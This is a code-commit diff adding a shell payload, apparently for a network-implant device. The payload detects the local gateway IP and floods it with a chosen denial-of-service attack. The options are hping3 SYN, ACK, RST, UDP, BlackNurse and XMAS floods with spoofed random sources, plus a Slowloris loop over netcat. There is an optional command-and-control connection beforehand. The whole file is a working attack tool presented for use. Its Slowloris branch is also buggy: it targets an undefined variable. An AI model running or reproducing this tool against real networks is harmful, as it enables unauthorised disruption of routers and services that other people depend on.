Create payload.sh
REDD
GitHub
parent
7a0f36f069
commit
e950c38044
|
|
@ -0,0 +1,195 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Title: Flood Gateway (DDoS)
|
||||
# Author: InfoSecREDD
|
||||
# Version: 1.2
|
||||
#
|
||||
# Description: This payload detects the Gateway IP then proceeds to
|
||||
# flood the Gateway IP by sending SYN/ACK/RST/UDP Packets or using
|
||||
# SLOWLORIS/BlackNurse/XMAS Attacks. (More options to come)
|
||||
#
|
||||
# Common Ports to Attack: 80 (TCP), 8080(TCP), 53 (UDP), 3389 (TCP), the
|
||||
# rest is up to you.
|
||||
#
|
||||
# Defaults to SYN Attack.
|
||||
#
|
||||
# LED SETUP (Magenta) Setting NETMODE and detecting GW IP.
|
||||
# LED Yellow thru Magenta Waiting Ethernet Plug connection.
|
||||
# LED White thru Magenta Waiting Connection to Public Website.
|
||||
# LED Red Blink No Gateway IP Address, waiting 15 seconds.
|
||||
# LED Red Solid No Gateway IP Address, exiting script.
|
||||
# LED Cyan Blink to Solid Connected to C2. (Optional)
|
||||
# LED Yellow thru Green Attacking Gateway IP with Hping3.
|
||||
# LED Green Solid Attack has Finished.
|
||||
#
|
||||
# NOTE: SLOWLORIS Attack does NOT use the DURATION Variable. It runs until
|
||||
# connections/resources run out.
|
||||
#
|
||||
# BlackNurse Attack does NOT use the PORT Variable. It runs against the
|
||||
# ICMP(Ping) port.
|
||||
#
|
||||
|
||||
# Type of Attack to perform.
|
||||
ATTACK="SYN"
|
||||
|
||||
# Port to Attack.
|
||||
PORT="80"
|
||||
|
||||
# Amount of time you wish to DDoS your Gateway. (Hint: 600 seconds is 10 minutes)
|
||||
DURATION="30"
|
||||
|
||||
# Turn to YES if you want to connect to C2 BEFORE Attack.
|
||||
C2_CONNECTION="YES"
|
||||
|
||||
## Settings for SLOWLORIS Attack. (Only supports HTTP Attack, NOT SSL - HTTPS)
|
||||
HTTP_CONNECTIONS="200"
|
||||
|
||||
TEST_URL="http://www.google.com"
|
||||
|
||||
# Start the Script! Man your Stations!
|
||||
LED SETUP;
|
||||
NETMODE DHCP_CLIENT;
|
||||
function net_connect() {
|
||||
while ! ifconfig eth0 | grep "inet addr"; do
|
||||
LED Y SOLID; sleep .2;
|
||||
LED M SOLID; sleep .8;
|
||||
done
|
||||
|
||||
while ! wget $TEST_URL -qO /dev/null; do
|
||||
LED W SOLID; sleep .2;
|
||||
LED M SOLID; sleep .8;
|
||||
done
|
||||
|
||||
GATEWAY_IP=$(ip route list dev eth0 | awk ' /^default/ {print $3}')
|
||||
# Detect Gateway IP, if none exit
|
||||
if [ -z $GATEWAY_IP ]; then
|
||||
i=0
|
||||
for i in {1..15}; do
|
||||
if [ "$i" -le "15" ]; then
|
||||
LED R SOLID; sleep .2;
|
||||
LED OFF;sleep .8;
|
||||
else
|
||||
LED R SOLID;
|
||||
exit 0;
|
||||
fi
|
||||
done
|
||||
fi
|
||||
if [ "$C2_CONNECTION" == "YES" ]; then
|
||||
LED C VERYFAST;
|
||||
C2CONNECT;
|
||||
while ! pgrep cc-client; do
|
||||
LED C FAST;sleep 1;
|
||||
done
|
||||
LED C SOLID; sleep .5;
|
||||
fi
|
||||
}
|
||||
|
||||
net_connect;
|
||||
|
||||
# Prepare the Flashy Colors!
|
||||
function led_attack() {
|
||||
LED G SOLID; sleep .2;
|
||||
LED Y SOLID; sleep .8;
|
||||
}
|
||||
function led_attack_dur() {
|
||||
for (( i=1; i<=$DURATION; i++ )); do
|
||||
LED G SOLID; sleep .2;
|
||||
LED Y SOLID; sleep .8;
|
||||
done
|
||||
}
|
||||
|
||||
# Arm the platoon!
|
||||
function attack() {
|
||||
if [ $ATTACK = "SYN" ]; then
|
||||
led_attack;
|
||||
hping3 --flood -d 4096 --frag --rand-source -p $PORT -S $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "ACK" ]; then
|
||||
led_attack;
|
||||
hping3 --flood -d 4096 --frag --rand-source -p $PORT -A $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "RST" ]; then
|
||||
led_attack;
|
||||
hping3 --flood -d 4096 --frag --rand-source -p $PORT -R $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "UDP" ]; then
|
||||
led_attack;
|
||||
hping3 --flood --udp --sign 4096 -p $PORT $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "BLACKNURSE" ]; then
|
||||
led_attack;
|
||||
hping3 -1 -C 3 -K 3 --flood --rand-source $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "XMAS" ]; then
|
||||
led_attack;
|
||||
hping3 --flood -d 4096 --rand-source -p $PORT -F -S -R -P -A -U -X -Y $GATEWAY_IP &
|
||||
HPING_PID=$!
|
||||
led_attack_dur;
|
||||
kill $HPING_PID;
|
||||
fi
|
||||
if [ $ATTACK = "SLOWLORIS" ]; then
|
||||
led_attack;
|
||||
if [ "$PORT" != "80" ] || [ "$PORT" != "8080" ]; then
|
||||
PORT="80"
|
||||
fi
|
||||
INTERVAL=$((RANDOM % 11 + 5))
|
||||
i=1
|
||||
while [ "$i" -le "$HTTP_CONNECTIONS" ]; do
|
||||
# Use Netcat to create a keep-alive connection to the Gateway IP.
|
||||
echo -e "GET / HTTP/1.1\r\nHost: $GATEWAY_IP\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n$RANDOM: $RANDOM\r\n"|nc -i $INTERVAL -w 30000 $TARGET $PORT 2>/dev/null 1>/dev/null &
|
||||
led_attack;
|
||||
i=$((i + 1));
|
||||
done
|
||||
fi
|
||||
|
||||
LED FINISH
|
||||
}
|
||||
|
||||
# Simple fix for changing arguments to CAPS
|
||||
arg1=$1
|
||||
ARG_FIX=$( echo "$arg1" | tr '[a-z]' '[A-Z]' )
|
||||
|
||||
# Start the Attack! CHHHAAARRRGGGEEE!!
|
||||
if [ "$ARG_FIX" == "ACK" ]; then
|
||||
ATTACK="ACK"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "SYN" ]; then
|
||||
ATTACK="SYN"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "RST" ]; then
|
||||
ATTACK="RST"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "UDP" ]; then
|
||||
ATTACK="UDP"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "BLACKNURSE" ]; then
|
||||
ATTACK="BLACKNURSE"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "XMAS" ]; then
|
||||
ATTACK="XMAS"
|
||||
attack;
|
||||
elif [ "$ARG_FIX" == "SLOWLORIS" ]; then
|
||||
ATTACK="SLOWLORIS"
|
||||
attack;
|
||||
elif [ -z $1 ]; then
|
||||
# Run ATTACK Variable from beginning of Script.
|
||||
attack;
|
||||
else
|
||||
printf "That is not a correct Packet Attack type.\n\n Supported Types: SYN, ACK, UDP, RST, XMAS, BLACKNURSE and SLOWLORIS\n"
|
||||
exit 1
|
||||
fi
|
||||
Loading…
Reference in New Issue